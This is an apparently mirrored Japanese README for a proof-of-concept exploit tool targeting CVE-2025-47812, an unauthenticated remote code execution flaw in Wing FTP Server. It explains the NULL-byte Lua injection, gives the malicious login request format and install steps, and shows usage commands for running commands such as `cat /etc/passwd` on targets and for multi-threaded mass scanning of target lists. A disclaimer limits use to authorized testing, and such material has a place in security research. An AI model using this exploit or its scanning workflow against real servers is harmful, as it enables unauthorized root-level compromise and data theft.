## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D3VN0MI-CVE-2025-471812-POC
root@kitploit:~
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ /_/ /___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
# CVE-2025-47812 — Wing FTP Server <= 7.4.3 未認証リモートコード実行
**CVE-2025-47812** の概念実証エクスプロイト。Wing FTP Server バージョン 7.4.4 未満における未認証リモートコード実行脆弱性です。
## 脆弱性概要
項目| 詳細
---|---
**CVE**| CVE-2025-47812
**影響を受けるバージョン**| Wing FTP Server <= 7.4.3
**種類**| 未認証リモートコード実行
**権限**| root (Linux) / SYSTEM (Windows)
**ベンダー**| wftpserver.com
**原作者**| Sheikh Mohammad Hasan aka 4m3rr0r
**改変者**| d3vn0mi
### 根本原因
Wing FTP Server の `c_CheckUser()` 関数は、認証時にユーザー名を NULL バイト (`%00`) で切り詰めますが、**完全にサニタイズされていないユーザー名** (NULL バイト以降のすべてを含む)が Lua セッションファイルに書き込まれます。`/dir.html` などの認証済みエンドポイントにアクセスすると、サーバーはそのセッションファイルを実行し、注入された Lua コードが昇格した権限で実行されます。
### エクスプロイトの流れ
root@kitploit:~
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. Server authenticates "anonymous" (truncated at NULL)
but writes full payload into session file → returns UID cookie
3. GET /dir.html (Cookie: UID=<extracted_uid>)
Server loads session file → executes injected Lua → RCE
## インストール
root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
## 使い方
### クイック脆弱性チェック
root@kitploit:~
python3 exploit.py -u http://TARGET
### コマンドの実行
root@kitploit:~
python3 exploit.py -u http://TARGET -c 'id'
### ファイルから複数ターゲットをスキャン
root@kitploit:~
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
### 全オプション
root@kitploit:~
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL Single target URL (e.g. http://192.168.134.130)
-f, --file FILE File containing target URLs (one per line, # comments allowed)
exploit options:
-c, --command COMMAND Command to execute on the remote server (enables verbose output)
-U, --username USERNAME Username for the exploit payload (default: anonymous)
-P, --password PASSWORD Password for the exploit payload (default: empty)
output:
-v, --verbose Enable verbose / debug logging
-o, --output OUTPUT Save vulnerable URLs to this file
-l, --log-file LOG_FILE Write detailed log to this file
network:
-t, --threads THREADS Concurrent threads for multi-target scans (default: 1)
--timeout TIMEOUT HTTP request timeout in seconds (default: 15)
--retries RETRIES Number of retries on connection failure (default: 2)
--no-verify Disable SSL certificate verification
### 例
root@kitploit:~
# 単一ターゲットのチェック
python3 exploit.py -u http://192.168.1.10
# 'whoami' を実行し、完全な出力を表示
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# 8スレッドでリストをスキャン、すべてのログをファイルに保存
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# SSL検証を無効にしてカスタム認証情報を使用
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# デバッグ用の詳細モード
python3 exploit.py -u http://192.168.1.10 -v
## 機能
* **構造化ログ** — 色分けされたコンソール出力 (DEBUG/INFO/WARN/ERROR) + `--log-file` によるオプションのファイルログ出力
* **マルチスレッドスキャン** — `-t` を使用した並列ターゲットスキャンで大規模なターゲットリストに対応
* **バックオフ付きリトライ** — ネットワーク障害時の自動指数バックオフ (`--retries` で設定可能)
* **SSL の柔軟性** — 自己署名証明書に対応する `--no-verify`
* **バッチスキャン** — ターゲットファイルは `#` コメントと自動重複排除に対応
* **クリーンな出力** — 脆弱性チェックモードでは単純な VULNERABLE/NOT VULNERABLE 結果を表示し、`-c` では完全なコマンド出力を表示
## 免責事項
このツールは**許可されたセキュリティテストおよび教育目的のみ** で提供されます。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの誤用または損害について一切の責任を負いません。
## クレジット
* オリジナルエクスプロイト: 4m3rr0r
* 改変・改良: d3vn0mi